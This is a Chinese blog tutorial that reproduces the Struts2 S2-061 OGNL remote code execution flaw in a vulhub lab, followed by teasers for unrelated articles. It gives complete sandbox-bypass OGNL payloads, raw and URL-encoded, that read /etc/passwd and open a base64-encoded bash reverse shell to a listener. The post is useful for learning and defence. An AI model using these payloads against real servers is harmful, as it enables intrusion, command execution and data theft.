news 2026/2/22 13:42:13

Apache Struts2 OGNL RCE注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Apache Struts2 OGNL RCE注入

Apache Struts2 OGNL RCE注入

Apache Struts2 OGNL RCE漏洞是一种严重的远程代码执行漏洞,攻击者通过构造恶意的OGNL表达式注入到HTTP请求参数中,利用Struts2框架对OGNL表达式处理不当的缺陷,绕过安全沙箱限制,最终实现在目标服务器上执行任意系统命令,从而获取服务器控制权。

1.什么是Apache Struts2?

Apache Struts2(也称为 Struts2)是一个开源的 Java Web 应用框架。

它主要用于构建企业级 Java EE Web 应用程序,提供 MVC(Model-View-Controller)架构支持,帮助开发者快速开发可维护的 Web 应用。

Struts2 基于 OGNL(Object-Graph Navigation Language)表达式语言来处理数据绑定、表单验证和动态内容渲染等功能。它是 Struts1 的后继版本,从 2006 年左右开始流行,但由于历史漏洞较多,现在许多项目已转向更现代的框架如 Spring MVC。

2.原理

(1) OGNL

OGNL三要素

Expression(表达式) 字符串形式的指令,告诉 OGNL “你要做什么”。 例子:user.name、@java.lang.Runtime@getRuntime().exec('calc')、#session.get('user') 等

Root(根对象) 操作的“主体对象”,也就是你主要想访问/修改的对象。 在 Struts2 中,Root 默认就是 ValueStack(值栈),值栈最顶层通常是当前的 Action 实例。 → 访问 Root 对象的属性时,不需要加任何前缀,直接写属性名即可。

Context(上下文) 一个 Map 结构(OgnlContext),相当于“运行环境”。 里面存放了各种辅助对象、临时变量、环境信息等。 在 Struts2 中,Context 就是 ActionContext,包含了:

#parameters(请求参数)

#request

#session

#application

#attr(依次查找 page→request→session→application)

值栈本身(作为 Root)

→ 访问 Context 里的对象,必须加 # 前缀,例如 #session.user、#parameters.name

OGNL中的重要符号

有三个#%$

%

%: 其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。

例如:<s:url value =“%{items.{title}[0]}”/>。获取items对象中title属性,title为数组,取数组索引为0位置的值

#

访问 Context(非根对象)里的数据,取 session、request、parameters、application 等时使用

例如:#session.user #parameters.username #request.get('key')

$

1. 在 struts.xml 配置文件里引用 OGNL

2. 在国际化资源文件(.properties)里引用 OGNL

例如:struts.xml 里: 资源文件:welcome=${user.name}

(2) OGNL RCE漏洞原理

OGNL RCE漏洞是 Struts2 中一类常见的严重安全问题,主要源于框架对 OGNL 表达式的处理不当。

OGNL 是一种强大的表达式语言,用于访问 Java 对象的属性和方法.但在 Struts2 中,如果用户输入(如 HTTP 请求头、参数或标签属性)被直接用于 OGNL 求值,而没有充分验证或转义,就会导致注入攻击。

漏洞影响范围

OGNL RCE 漏洞影响了 Struts2 的多个历史版本:

常见受影响版本:从 Struts 2.0.0 到 2.5.x 系列(如 2.5.25 之前),部分 6.x 早期版本有类似问题。但许多旧版本(如 2.3.x)已停止支持(EOL)。

不是所有 Struts2 应用都易受攻击,取决于配置(如是否使用强制 OGNL 求值或暴露了特定插件)。但遗留系统特别危险。

3.漏洞复现

漏洞复现环境

准备好docker

靶机环境(使用 vulhub靶场):

克隆vulhub仓库

git clone --depth 1 https://github.com/vulhub/vulhub.git

到漏洞地址

cd vulhub/struts2/s2-061

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git

chmod +x *.sh

./docker-proxy.sh

再拉取

docker-compose up -d

使用docker ps查看镜像是否运行

访问:http://靶机IP:8080

尝试id注入代码

http://192.168.41.128:8080/.action?id=%{'hzhsec'+(1+2).toString()}

url编码

http://192.168.41.128:8080/.action?id=%25%7B'hzhsec'%2B(1%2B2).toString()%7D

成功将id的值更换执行

尝试poc

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]). (#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]). (#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)). (#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")). (#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)). (#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")). (#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

编码:

%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22cat%20%2Fetc%2Fpasswd%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功读取/etc/passwd

尝试修改命令反弹shell

shell命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

替换上面的cat命令

攻击机:

nc -lvvp 4444 启动监听

发送payload

http://192.168.41.128:8080/.action?id=%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTAuNjYuMTA4LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功上线:

poc原理

获取 Tomcat 的 InstanceManager#instancemanager = #application["org.apache.tomcat.InstanceManager"] → 从 ServletContext(application)里拿到 Tomcat 的实例管理器,它能“暴力”new 出任何类的实例(即使 OGNL 沙箱不允许)。

拿到当前的 ValueStack(值栈)#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"] → 值栈是 Struts2 的核心,里面存着 Action、request、session 等所有上下文信息。

用 BeanMap 魔法绕过访问限制(最核心的沙箱绕过技巧) #bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")#bean.setBean(#stack) → 创建一个 BeanMap(一种能把任意对象当 Map 用的黑科技类),然后把值栈塞进去。 之后就能通过 .get("context")、 .get("memberAccess") 这种方式,访问原本不允许直接访问的私有字段。

继续链式操作: → 先拿到 context → 再拿到 _memberAccess(OGNL 的安全管理器对象,控制什么能执行、什么类被禁止)

清空沙箱黑名单(真正解除限制) #emptyset = #instancemanager.newInstance("java.util.HashSet") #bean.put("excludedClasses", #emptyset)#bean.put("excludedPackageNames", #emptyset) → 把 OGNL 的两个黑名单(禁止的类 + 禁止的包)全部清空成空集合。 → 从此 OGNL 什么类都能用了,什么包都能访问了(沙箱彻底失效)。

准备命令并执行#arglist = #ins

tancemanager.newInstance("java.util.ArrayList")#arglist.add("cat /etc/passwd") → 创建一个参数列表,里面放要执行的命令。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/22 4:17:48

基于深度学习神经网络YOLOv4目标检测的口罩识别系统

第一步&#xff1a;YOLOv4介绍 YOLOv4是一种目标检测算法&#xff0c;它在精度和速度之间取得了最佳的平衡。它是YOLO&#xff08;You Only Look Once&#xff09;系列算法的最新版本&#xff0c;通过将目标检测任务转化为一个回归问题&#xff0c;实现了实时目标检测。YOLOv4…

作者头像 李华
网站建设 2026/2/19 11:29:20

救命神器!专科生毕业论文必备TOP9 AI论文平台深度测评

救命神器&#xff01;专科生毕业论文必备TOP9 AI论文平台深度测评 专科生毕业论文写作的“救星”来了 随着人工智能技术的不断进步&#xff0c;AI论文平台逐渐成为高校学生&#xff0c;尤其是专科生撰写毕业论文的重要工具。然而&#xff0c;面对市场上琳琅满目的选择&#xff…

作者头像 李华
网站建设 2026/2/18 15:43:15

基于贾子智慧理论体系的 AI 革命六大核心判断深度研究

基于贾子智慧理论体系的 AI 革命六大核心判断深度研究一、引言&#xff1a;AI 革命的时代背景与贾子理论视角当前&#xff0c;人类社会正处于一场前所未有的技术革命 ——人工智能革命的关键节点。与以往任何一次技术变革相比&#xff0c;AI 革命在速度、规模和深度上都呈现出截…

作者头像 李华
网站建设 2026/2/12 4:30:39

感知机的对偶形式是怎么来的

感知机的对偶形式是怎么来的&#xff1a;1. 原始形式&#xff1a;老师亲自调整教案 想象你在教一个学生分类水果&#xff1a; 原始形式&#xff1a;你&#xff08;老师&#xff09;心中有一个“标准答案”&#xff08;权重向量 www&#xff09;看到学生把苹果误判为橘子&#x…

作者头像 李华
网站建设 2026/2/19 9:08:10

HR人力资源规划流程图模板免费获取

在现代企业管理中&#xff0c;人力资源规划是连接企业战略与人力资源管理实践的核心纽带&#xff0c;它不仅决定了企业能否精准匹配人才需求、优化人力配置&#xff0c;更直接影响企业的核心竞争力与可持续发展能力。对于HR从业者而言&#xff0c;一套清晰、规范的人力资源规划…

作者头像 李华